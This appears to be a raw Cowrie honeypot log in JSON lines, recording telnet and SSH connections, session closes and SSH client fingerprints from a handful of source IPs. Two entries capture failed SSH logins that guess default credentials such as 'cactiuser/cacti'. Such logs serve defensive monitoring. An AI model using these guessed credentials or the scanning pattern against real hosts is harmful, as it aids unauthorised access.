{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3975b02a272d","protocol":"telnet","message":"New connection: 62.210.97.77:49392 (10.17.0.5:23) [session: 3975b02a272d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:06.726055Z"}
{"eventid":"cowrie.session.closed","duration":34.063467264175415,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:06.948809Z","src_ip":"62.210.97.77","session":"a6bfcf111963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46987342834473,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:10.574723Z","src_ip":"165.232.131.181","session":"77155bdfb34f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2531d20a2fc","protocol":"telnet","message":"New connection: 62.210.97.77:47968 (10.17.0.5:23) [session: c2531d20a2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:12.475911Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":38549,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6540b072cf","protocol":"telnet","message":"New connection: 188.66.52.72:38549 (10.17.0.5:23) [session: 8f6540b072cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:12.511349Z"}
{"eventid":"cowrie.session.closed","duration":44.14938020706177,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:12.860561Z","src_ip":"65.60.27.33","session":"c0fbb893b659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38683795928955,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:14.502769Z","src_ip":"65.60.27.33","session":"ca4fb94f1f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":6559,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ce9c5a12a7","protocol":"telnet","message":"New connection: 188.66.52.72:6559 (10.17.0.5:23) [session: d5ce9c5a12a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:15.187610Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":4615,"dst_ip":"10.17.0.5","dst_port":23,"session":"4308011f75b7","protocol":"telnet","message":"New connection: 188.66.52.72:4615 (10.17.0.5:23) [session: 4308011f75b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:17.938768Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"586f59214589","protocol":"telnet","message":"New connection: 62.210.97.77:56596 (10.17.0.5:23) [session: 586f59214589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:20.597837Z"}
{"eventid":"cowrie.session.closed","duration":34.79673218727112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:22.027447Z","src_ip":"62.210.97.77","session":"c5903031dd2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.06979203224182,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:24.930656Z","src_ip":"38.54.119.93","session":"feea904c3178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b170eb45091d","protocol":"telnet","message":"New connection: 62.210.97.77:56612 (10.17.0.5:23) [session: b170eb45091d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:26.189292Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36696,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21957e2b3b6","protocol":"telnet","message":"New connection: 38.54.119.93:36696 (10.17.0.5:23) [session: b21957e2b3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:30.388492Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41472,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28fb023925c","protocol":"telnet","message":"New connection: 62.210.97.77:41472 (10.17.0.5:23) [session: e28fb023925c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:30.883356Z"}
{"eventid":"cowrie.session.closed","duration":36.65007781982422,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:31.158336Z","src_ip":"62.210.97.77","session":"654f196f08b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.53073525428772,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:34.919103Z","src_ip":"38.54.119.93","session":"b21957e2b3b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40735960006714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:35.797672Z","src_ip":"62.210.97.77","session":"38dfc0910281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.801623582839966,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:37.902495Z","src_ip":"165.232.131.181","session":"bc1082d07720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70100474357605,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:42.426944Z","src_ip":"62.210.97.77","session":"3975b02a272d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47604,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8aeaef963d","protocol":"telnet","message":"New connection: 38.54.119.93:47604 (10.17.0.5:23) [session: 9d8aeaef963d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:47.798997Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b997cf8b4bf3","protocol":"telnet","message":"New connection: 38.54.119.93:48082 (10.17.0.5:23) [session: b997cf8b4bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:48.495508Z"}
{"eventid":"cowrie.session.closed","duration":38.15597057342529,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:50.631789Z","src_ip":"62.210.97.77","session":"c2531d20a2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10006093978882,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:52.787627Z","src_ip":"65.60.27.33","session":"f484c114a987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39442,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa46d99ea052","protocol":"telnet","message":"New connection: 62.210.97.77:39442 (10.17.0.5:23) [session: fa46d99ea052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:53.500283Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":40604,"dst_ip":"159.203.135.109","dst_port":22,"session":"20c5fb397925","protocol":"ssh","message":"New connection: 181.234.2.36:40604 (159.203.135.109:22) [session: 20c5fb397925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:53.566141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:53.570902Z","src_ip":"181.234.2.36","session":"20c5fb397925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:53.667762Z","src_ip":"181.234.2.36","session":"20c5fb397925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cacti","message":"login attempt [cactiuser/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:54.082977Z","src_ip":"181.234.2.36","session":"20c5fb397925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60278,"dst_ip":"10.17.0.5","dst_port":23,"session":"be52552c96eb","protocol":"telnet","message":"New connection: 65.60.27.33:60278 (10.17.0.5:23) [session: be52552c96eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:54.883646Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:55.182538Z","src_ip":"181.234.2.36","session":"20c5fb397925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.279102325439453,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:55.774467Z","src_ip":"38.54.119.93","session":"b997cf8b4bf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.833789587020874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:58.431508Z","src_ip":"62.210.97.77","session":"586f59214589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81735944747925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:01.006516Z","src_ip":"62.210.97.77","session":"b170eb45091d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00101828575134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:01.063166Z","src_ip":"165.232.131.181","session":"33af66c6afcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2589328289032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:03.142094Z","src_ip":"62.210.97.77","session":"e28fb023925c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48340,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a32758cc98","protocol":"telnet","message":"New connection: 62.210.97.77:48340 (10.17.0.5:23) [session: f6a32758cc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:06.046301Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56858,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c64a73f563","protocol":"telnet","message":"New connection: 165.232.131.181:56858 (10.17.0.5:23) [session: 54c64a73f563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:07.321863Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48350,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d6c6e85c03","protocol":"telnet","message":"New connection: 62.210.97.77:48350 (10.17.0.5:23) [session: 37d6c6e85c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:08.034873Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"a845831162ca","protocol":"telnet","message":"New connection: 165.232.131.181:55026 (10.17.0.5:23) [session: a845831162ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:08.458585Z"}
{"eventid":"cowrie.session.closed","duration":3.6252317428588867,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:12.083707Z","src_ip":"165.232.131.181","session":"a845831162ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45128,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbd0cf40b48","protocol":"telnet","message":"New connection: 62.210.97.77:45128 (10.17.0.5:23) [session: 5dbd0cf40b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:23.919332Z"}
{"eventid":"cowrie.session.closed","duration":31.47746181488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:24.977582Z","src_ip":"62.210.97.77","session":"fa46d99ea052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8b20bdac98","protocol":"telnet","message":"New connection: 38.54.119.93:43266 (10.17.0.5:23) [session: 7d8b20bdac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:26.588621Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb09a84c237e","protocol":"telnet","message":"New connection: 62.210.97.77:56780 (10.17.0.5:23) [session: fb09a84c237e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:29.482729Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41810,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e9d44d0b02","protocol":"telnet","message":"New connection: 65.60.27.33:41810 (10.17.0.5:23) [session: 29e9d44d0b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:29.622497Z"}
{"eventid":"cowrie.session.closed","duration":38.6971652507782,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:33.580712Z","src_ip":"65.60.27.33","session":"be52552c96eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48280,"dst_ip":"10.17.0.5","dst_port":23,"session":"1633ee87189b","protocol":"telnet","message":"New connection: 38.54.119.93:48280 (10.17.0.5:23) [session: 1633ee87189b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:34.261608Z"}
{"eventid":"cowrie.session.closed","duration":46.975926876068115,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:34.774814Z","src_ip":"38.54.119.93","session":"9d8aeaef963d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56782,"dst_ip":"10.17.0.5","dst_port":23,"session":"551d5e1a77f2","protocol":"telnet","message":"New connection: 62.210.97.77:56782 (10.17.0.5:23) [session: 551d5e1a77f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:35.399374Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1b61a79080","protocol":"telnet","message":"New connection: 38.54.119.93:49966 (10.17.0.5:23) [session: ce1b61a79080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:36.677494Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56790,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed982be3835c","protocol":"telnet","message":"New connection: 62.210.97.77:56790 (10.17.0.5:23) [session: ed982be3835c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:36.845453Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56574,"dst_ip":"10.17.0.5","dst_port":23,"session":"784a8c0ef2a2","protocol":"telnet","message":"New connection: 62.210.97.77:56574 (10.17.0.5:23) [session: 784a8c0ef2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:39.854543Z"}
{"eventid":"cowrie.session.closed","duration":34.97664451599121,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:41.022811Z","src_ip":"62.210.97.77","session":"f6a32758cc98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54450,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc24c7d0306","protocol":"telnet","message":"New connection: 65.60.27.33:54450 (10.17.0.5:23) [session: 5bc24c7d0306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:41.220464Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40574,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11bee6b8a88","protocol":"telnet","message":"New connection: 165.232.131.181:40574 (10.17.0.5:23) [session: b11bee6b8a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:41.692981Z"}
{"eventid":"cowrie.session.closed","duration":35.46842956542969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:43.503217Z","src_ip":"62.210.97.77","session":"37d6c6e85c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.829510450363159,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:46.522362Z","src_ip":"165.232.131.181","session":"b11bee6b8a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.14271426200867,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:50.464442Z","src_ip":"165.232.131.181","session":"54c64a73f563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00681209564209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:56.103902Z","src_ip":"165.232.131.181","session":"9cf13a4c0161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":58184,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc90d8648fa1","protocol":"ssh","message":"New connection: 181.234.2.36:58184 (159.203.135.109:22) [session: dc90d8648fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:56.683309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:56.688399Z","src_ip":"181.234.2.36","session":"dc90d8648fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:56.781935Z","src_ip":"181.234.2.36","session":"dc90d8648fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"test123","message":"login attempt [chris/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:57.181542Z","src_ip":"181.234.2.36","session":"dc90d8648fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.82447791099548,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:57.743715Z","src_ip":"62.210.97.77","session":"5dbd0cf40b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:58.275209Z","src_ip":"181.234.2.36","session":"dc90d8648fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fdc39c2be0e","protocol":"telnet","message":"New connection: 62.210.97.77:44702 (10.17.0.5:23) [session: 3fdc39c2be0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:58.571615Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f842bd507656","protocol":"telnet","message":"New connection: 62.210.97.77:44706 (10.17.0.5:23) [session: f842bd507656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:03:59.842353Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50510,"dst_ip":"10.17.0.5","dst_port":23,"session":"fade47476054","protocol":"telnet","message":"New connection: 165.232.131.181:50510 (10.17.0.5:23) [session: fade47476054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:04.264719Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38670,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe2b77474eb","protocol":"telnet","message":"New connection: 165.232.131.181:38670 (10.17.0.5:23) [session: abe2b77474eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:04.791676Z"}
{"eventid":"cowrie.session.closed","duration":0.008162736892700195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:04.799686Z","src_ip":"165.232.131.181","session":"abe2b77474eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46219873428345,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:04.944823Z","src_ip":"62.210.97.77","session":"fb09a84c237e","protocol":"telnet"}
